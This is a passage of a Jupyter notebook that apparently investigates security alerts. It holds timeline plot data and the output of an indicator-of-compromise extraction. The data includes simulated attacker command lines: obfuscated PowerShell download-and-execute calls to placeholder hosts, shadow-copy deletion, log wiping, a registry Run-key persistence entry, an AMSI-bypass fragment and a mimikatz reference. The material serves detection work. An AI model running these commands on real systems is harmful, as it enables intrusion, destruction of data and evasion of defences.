State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\12345.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe\",\"C:\\\\Windows\\\\System32\\\\vssadmin.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\whoami.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\lsass.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\hd.exe\",\"C:\\\\Windows\\\\System32\\\\MusNotification.exe\",\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"AHB09v6EdkIAUJD2/oR2QgBQlPb+hHZCAPCZ9v6EdkIAcJz2/oR2QgDQofb+hHZCAHCm9v6EdkIAkD7z/oR2QgBwQPP+hHZCAJBN8/6EdkIA0F3z/oR2QgBwX/P+hHZCAKBy8/6EdkIAsJvz/oR2QgAQIvX+hHZCAMC09f6EdkIAQLz1/oR2QgCQw/X+hHZCAJCI9f6EdkIAkGWs/IR2QgDAfaz8hHZCAPCk9f6EdkIAQGv2/oR2QgAwbvb+hHZCAFDH9v6EdkIAAOz2/oR2QgAgA/f+hHZCAJAJ9/6EdkIA8Ir3/oR2QgCACR/9hHZCAPBPA/yEdkIAwHs1/YR2QgCwCkH9hHZCAKA0fP+EdkIAcDV8/4R2QgDwpHz/hHZCAKCxfP+EdkIAUHv2/oR2QgBAf/b+hHZCABCA9v6EdkIAMI32/oR2QgAAl/b+hHZCACCf9v6EdkIAUK32/oR2QgBwsPb+hHZCABCx9v6EdkIA8Ezz/oR2QgAgV/P+hHZCAGBx8/6EdkIAECb1/oR2QgBgPfX+hHZCABCt9f6EdkIAsGz1/oR2QgCwd/X+hHZCABA69v6EdkIAAEz2/oR2QgAgwvb+hHZCAPD49v6EdkIAEPz2/oR2QgBwM/f+hHZCANBRFf2EdkIA0GZC/IR2Qg==\",\"dtype\":\"float64\",\"shape\":[62]},\"WrapCmdl\":[\".\\\\reg not /domain:everything that /sid:shines is /krbtgt:golden\\n\",\"c:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe\\nC:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7....\\n\",\".\\\\netsh.exe \\\"in (*.exe) do start # artificial commandline\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Enable-WSManCredSSP\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell winrm\\nset winrm/config/service/Auth @{Kerberos=003D\\\"true\\\"}&echo\\n\",\".\\\\cmd /c \\\"cd /d\\n\\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\a... set\\nconfig \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del C:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log\\n\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\\n\",\"cmd.exe /c c:\\\\Diagnostics\\\\WindowsSimulateDetections.bat\\n\",\"cmd /c echo timb@microsoft.com; romead@microsoft.com;\\nianhelle@microsoft.com; marcook@microsoft.com; dotanp@microsoft.com;\\n\",\"C:\\\\Windows\\\\system32\\\\net1 share TestShare=c:\\\\testshare\\n\",\"dism /online /enable-feature /featurename:File-Services\\n\",\"C:\\\\Windows\\\\TEMP\\\\CC563BBE-DE32-44D3-8E35-F3FC78E72E... {D57BA872-53C0-424D-80AE-E49112D1CF04}\\n\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\".\\\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll\\n\",\".\\\\powershell.exe -c \\\"$a = 'Download'+'String'+\\\"(('ht'+'tp://paste'+\\n'bin/'+'raw/'+'pqCwEm17'))\\\";$b = '(New-Object' + ' Net.WebClient)';'$b.$a'\\n\",\".\\\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\\\"{2}{0}{1}\\\"-f\\n\",\"cmd /c \\\".\\\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS\\ni^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^tar^t-bITSTRanS^fER\\n-^SOURCE^ 'http://somedomain/best-kitten-names-1.jpg'\\n^-d^EStIN^At^IOn\\n\",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression\\nGet-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\\\"\\n\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\".\\\\powershell -command \\\"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb'\\n\",\"cmd /c C:\\\\Windows\\\\System32\\\\mshta.exe\\nvbscript:CreateObject(\\\"Wscript.Shell\\\").Run(\\\".\\\\powe... -c\\n\\\"\\\"$x=$((gp HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\nCertificate).Certificate);.\\\\powershell -E $y\\\"\\\"\\\",0,True)(window.close)\\n\",\".\\\\netsh advfirewall firewall add rule name=RbtGskQ action=allow\\n\",\"c:\\\\Windows\\\\System32\\\\svchost.exe -k malicious\",\".\\\\wuauclt.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\\n\",\"cmd /c \\\"cd /d\\n\\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\a... set\\nconfig \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo\\n\",\"cmd /c echo \\\" SYSTEMINFO && SYSTEMINFO && DEL \\\"\",\"C:\\\\Windows\\\\system32\\\\wermgr.exe -upload\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga\\n\",\"taskhostw.exe SYSTEM\",\"\\\"cmd\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService State\\\\Resources\\\\222\\\\pmfexe.exe\\\" -PerfMode optimize\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"cmd /c \\\"systeminfo && systeminfo\\\"\",\".\\\\rundll32 /C 12345.exe\",\"12345.exe\",\".\\\\reg.exe add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Set-ExecutionPolicy\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\ProgramData\\\"©\\n\\\\\\\\[REDACTED]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Passwo... Change\\n\",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe \",\"vssadmin delete shadows /all /quiet\",\"cmd /c echo Any questions about the commands executed\\n\",\"C:\\\\Windows\\\\system32\\\\net1 user adm1nistrator Bob_testing\\n\",\"net use q: \\\\\\\\MSTICAlertsWin1\\\\TestShare Bob_testing /User:adm1nistrator\\n\",\"C:\\\\Windows\\\\system32\\\\svchost.exe -k wsappx\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell -command {(n`EW-obJ`E`cT\\n\",\"implant.exe k111\",\"cmd /c \\\"echo Invoke-Expression Get-Process; Invoke-WebRequest\\n\",\"whoami\",\"net group \\\"Domain Admins\\\" /domain\",\"c:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe \",\".\\\\lsass.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\\n\",\"cmd /c \\\"powershell wscript.shell used to download a\\n\",\"hd.exe -pslist\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\"\\n\"],\"index\":[46,57,59,61,62,64,65,74,75,78,82,83,86,87,94,106,108,110,130,133,134,139,162,163,171,176,195,198,219,256,292,301,356,0,1,2,3,47,48,49,56,60,63,67,68,69,77,80,85,95,96,104,122,125,142,149,169,190,193,211,254,270],\"y_index\":[2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2]},\"selected\":{\"id\":\"3719d9ad-f8cb-4965-9064-5e981b7ffa46\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"8fa621ca-90c8-4d7c-b9ae-261156361111\",\"type\":\"UnionRenderers\"}},\"id\":\"0a4c7557-560a-47df-b43a-d595bdbf0578\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"data_source\":{\"id\":\"b029f1ea-1023-4efd-96dd-57e98e259e41\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"4830cf96-886c-4af9-a37b-0ec45ac2bd3c\",\"type\":\"Line\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"d0fae691-fa09-4a27-a975-ef8a7ce5319f\",\"type\":\"Line\"},\"selection_glyph\":null,\"view\":{\"id\":\"d9211bc2-ee97-443b-ba0c-d111646bbb7a\",\"type\":\"CDSView\"}},\"id\":\"a35cd9f5-e64f-45b3-ad8a-2d5695f73de5\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"af7cc7ff-2897-4f70-89c9-038970348b51\",\"type\":\"DaysTicker\"},{\"attributes\":{\"plot\":{\"id\":\"f946cf09-1ca6-4f91-89e3-150fbcfa6d82\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"ad6a36fb-aaa3-4d30-abfe-5cedd55ddf24\",\"type\":\"DatetimeTicker\"}},\"id\":\"6bc68618-2389-4cc7-8d08-e6d8dac724ea\",\"type\":\"Grid\"},{\"attributes\":{\"background_fill_color\":{\"value\":\"white\"},\"border_line_color\":{\"value\":\"red\"},\"plot\":{\"id\":\"f946cf09-1ca6-4f91-89e3-150fbcfa6d82\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"render_mode\":\"css\",\"text\":\"< Alert time\",\"x\":1547529315000.0,\"y\":0,\"y_offset\":10},\"id\":\"18e4bf31-6f38-4622-bdc5-31764bcc169f\",\"type\":\"Label\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"9f8f42b5-2c1c-46be-80ef-822e4df113b2\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"source\":{\"id\":\"b029f1ea-1023-4efd-96dd-57e98e259e41\",\"type\":\"ColumnDataSource\"}},\"id\":\"d9211bc2-ee97-443b-ba0c-d111646bbb7a\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"0a27ecef-5bbb-4f4a-9329-362339cbb5f4\",\"type\":\"BasicTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"8ab43c67-abe8-43a8-bb59-f75bb0e8a615\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"f946cf09-1ca6-4f91-89e3-150fbcfa6d82\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"0a27ecef-5bbb-4f4a-9329-362339cbb5f4\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"7249d0d1-c548-4d26-b906-d78ba960008f\",\"type\":\"LinearAxis\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"f946cf09-1ca6-4f91-89e3-150fbcfa6d82\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"0a27ecef-5bbb-4f4a-9329-362339cbb5f4\",\"type\":\"BasicTicker\"}},\"id\":\"caef2e5f-a02e-4703-8fa4-264bf568a6ae\",\"type\":\"Grid\"}],\"root_ids\":[\"f946cf09-1ca6-4f91-89e3-150fbcfa6d82\"]},\"title\":\"Bokeh Application\",\"version\":\"0.12.16\"}};\n", " var render_items = [{\"docid\":\"25d9a2ee-eebd-44af-ba9f-46c9a143a6ae\",\"elementid\":\"70b67fda-4cbb-49e1-8c85-ae0872fa1469\",\"modelid\":\"f946cf09-1ca6-4f91-89e3-150fbcfa6d82\"}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " clearInterval(timer);\n", " }\n", " attempts++;\n", " if (attempts > 100) {\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\")\n", " clearInterval(timer);\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "f946cf09-1ca6-4f91-89e3-150fbcfa6d82" } }, "output_type": "display_data" } ], "source": [ "# Show timeline of events - clustered events\n", "nbdisp.display_timeline(data=clus_events, overlay_data=processes_on_host, \n", " alert=security_alert, title='Distinct Host Processes (top) and All Proceses (bottom)')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", "# Base64 Decode and Check for IOCs\n", "This section looks for Indicators of Compromise (IoC) within the data sets passed to it.\n", "\n", "The first section looks at the commandline for the alert process (if any). It also looks for base64 encoded strings within the data - this is a common way of hiding attacker intent. It attempts to decode any strings that look like base64. Additionally, if the base64 decode operation returns any items that look like a base64 encoded string or file, a gzipped binary sequence, a zipped or tar archive, it will attempt to extract the contents before searching for potentially interesting items." ] }, { "cell_type": "code", "execution_count": 47, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Potential IoCs found in alert process:\n" ] }, { "data": { "text/plain": [ "defaultdict(set, {'windows_path': {'.\\\\ftp', 'c:\\\\recycler\\\\xxppyy.exe'}})" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "process = security_alert.primary_process\n", "ioc_extractor = sectools.IoCExtract()\n", "\n", "if process:\n", " # if nothing is decoded this just returns the input string unchanged\n", " base64_dec_str, _ = sectools.b64.unpack_items(input_string=process[\"CommandLine\"])\n", " if base64_dec_str and 'IoC patterns found in process tree." ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
IoCTypeObservableSourceIndex
0windows_pathC:\\RECYCLER\\xxppyy.exe0
1windows_path.\\ftp0
2windows_path.\\reg1
3windows_path.\\rundll323
4windows_pathc:\\users\\MSTICAdmin\\12345.exe4
5windows_path.\\rundll324
6windows_path.\\rundll325
7windows_path.\\rundll326
8windows_pathc:\\users\\MSTICAdmin\\1234.exe6
9windows_path.\\rundll327
10windows_path.\\reg.exe add \\hkcu\\software\\microsoft\\some\\key\\Run8
11dnstsetup.1.exe9
12dnstsetup.1.0.14.tmp9
13dnstsetup.1.0.14.exe9
14windows_pathc:\\Diagnostics\\UserTmp\\tsetup.1.exe9
15windows_pathC:\\Users\\MSTICAdmin\\AppData\\Local\\Temp\\2\\is-01DD7.tmp\\tsetup.1.0.14.tmp9
16windows_pathC:\\Users\\MSTICAdmin\\Downloads\\tsetup.1.0.14.exe9
17windows_path.\\rundll32.exe10
18windows_path.\\netsh.exe11
19windows_pathC:\\inetpub\\wwwroot12
20windows_path.\\cmd12
21windows_pathC:\\inetpub\\wwwroot13
22windows_path.\\cmd13
23windows_pathC:\\inetpub\\wwwroot14
24windows_path.\\cmd14
25windows_path\\\\[REDACTED]\\c$\\users\\[REDACTED]\\Documents15
26windows_path.\\cmd15
27windows_pathC:\\ProgramData15
28windows_pathc:\\windows\\system32\\inetsrv\\appcmd16
29windows_pathC:\\inetpub\\wwwroot16
30windows_path.\\cmd16
31windows_pathC:\\inetpub\\logs\\logFiles\\W3SVC117
32windows_pathC:\\inetpub\\wwwroot17
33windows_path.\\cmd17
34windows_pathc:\\Diagnostics\\UserTmp\\perfc.dat18
35windows_pathc:\\Diagnostics\\UserTmp\\sdopfjiowtbkjfnbeioruj.exe19
36dnsdoubleextension.pdf.exe20
37windows_pathc:\\Diagnostics\\UserTmp\\doubleextension.pdf.exe20
38windows_path\\C:22
39windows_path\\Windows\\system32\\conhost.exe22
40windows_pathc:\\testshare26
41windows_path\\\\MSTICAlertsWin1\\TestShare27
42urlhttp://server/file.sct31
43dnsserver31
44windows_path.\\regsvr3231
45windows_path.\\suchost.exe32
46windows_path.\\evil.ps1;35
47windows_path.\\powershell.exe35
48windows_path.\\powershell36
49urlhttp://somedomain/best-kitten-names-1.jpg'37
50dnssomedomain37
51windows_path\\AppData\\Local\\Temp\\kittens1.jpg';37
52windows_pathC:\\Users\\$env:UserName37
53windows_path.\\pOWErS^H^ElL^.eX^e^37
54windows_path.\\n^e^t38
55windows_path.\\powershell39
56md5_hashaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa40
57md5_hashaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa41
58md5_hash81ed03caf6901e444c72ac67d192fb9c44
59urlhttp://badguyserver/pwnme\"46
60dnsbadguyserver46
61urlhttp://badguyserver/pwnme\"47
62dnsbadguyserver47
63windows_path.\\powershell47
64windows_path.\\powershell48
65windows_path.\\powershell49
66windows_path.\\powershell50
67windows_path.\\rUnDlL3258
68windows_path.\\reg query add mscfile\\\\\\\\open59
69windows_path.\\reg60
70windows_path.\\dubrute.exe61
71windows_path.\\nlbrute.exe62
72windows_path.\\reg63
73windows_path\\system\\CurrentControlSet\\Control\\Terminal63
74windows_path.\\reg64
75windows_path\\system\\CurrentControlSet\\Control\\Terminal64
76windows_path\\\\tsclient\\c65
77windows_path\\Microsoft\\Windows\\CurrentVersion Certificate).Certificate);.\\powershell67
78windows_path.\\powershell.exe67
79windows_pathC:\\Windows\\System32\\mshta.exe67
80windows_pathc:\\users\\Bob\\appdata\\Roaming\\RbtGskQ\\RbtGskQ.exe68
81windows_path.\\netsh68
82windows_path.\\reg add HKLM\\KEY_LOCAL_MACHINE\\...securityproviders\\wdigest69
83windows_pathc:\\Windows\\System32\\cmd.exe70
84windows_pathc:\\Diagnostics\\UserTmp\\scrsave.scr71
85windows_pathc:\\Diagnostics\\UserTmp\\svchost.exe72
86windows_pathc:\\Diagnostics\\UserTmp\\smss.exe73
87windows_pathc:\\Windows\\System32\\svchost.exe74
88dnssystem.management.automation.amsiutils77
89dnssystem.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').setvalue(...77
90urlhttp://system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').se...77
91windows_path.\\powershell.exe77
92ipv41.2.3.478
93windows_pathC:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\bzzzzzz.txt78
94windows_path.\\wuauclt.exe79
95windows_pathc:\\windows\\softwaredistribution\\cscript.exe79
96windows_pathc:\\windows\\softwaredistribution\\cscript.exe80
97windows_path.\\lsass.exe80
98windows_pathc:\\windows\\system32\\wscript.exe82
99windows_pathc:\\windows\\system32\\inetsrv\\appcmd83
100windows_pathC:\\inetpub\\wwwroot83
101windows_pathc:\\Diagnostics\\UserTmp\\2840.exe84
102windows_pathc:\\Diagnostics\\UserTmp\\a_keygen.exe85
103windows_pathc:\\Diagnostics\\UserTmp\\bittorrent.exe87
104windows_pathc:\\Diagnostics\\UserTmp\\netsh.exe88
105windows_pathc:\\Diagnostics\\UserTmp\\ransomware.exe90
106windows_path\\\\server\\payload.dll92
107windows_pathC:\\Users\\Administrator\\AppData\\Roaming\\{RANDOM}.txt94
108ipv4127.0.0.1102
109urlhttp://127.0.0.1/102
110windows_path.\\reg103
111windows_path\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\\MyNastySvcHostConfig103
112windows_path.\\reg104
113windows_path\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\\MyNastySvcHostConfig104
114windows_pathC:\\Users\\MSTICA~1\\AppData\\Local\\Temp\\hd.exe105
115windows_path\\\\.\\pipe\\blahtest107
116windows_path.\\reg.exe108
117windows_path\\console108
118windows_pathc:\\windows\\fonts\\csrss.exe109
119windows_pathc:\\windows\\fonts\\conhost.exe110
120windows_path.\\mimikatz.exe111
121windows_path.\\rundll32.exe112
122windows_pathc:\\windows\\fonts\\conhost.exe112
123windows_pathc:\\windows\\fonts\\csrss.exe113
124windows_path.\\regsvr32113
125windows_pathc:\\Diagnostics\\UserTmp115
126windows_pathc:\\Diagnostics\\WindowsSimulateDetections.bat115
127windows_pathC:\\Windows\\System32\\win32calc.exe116
\n", "
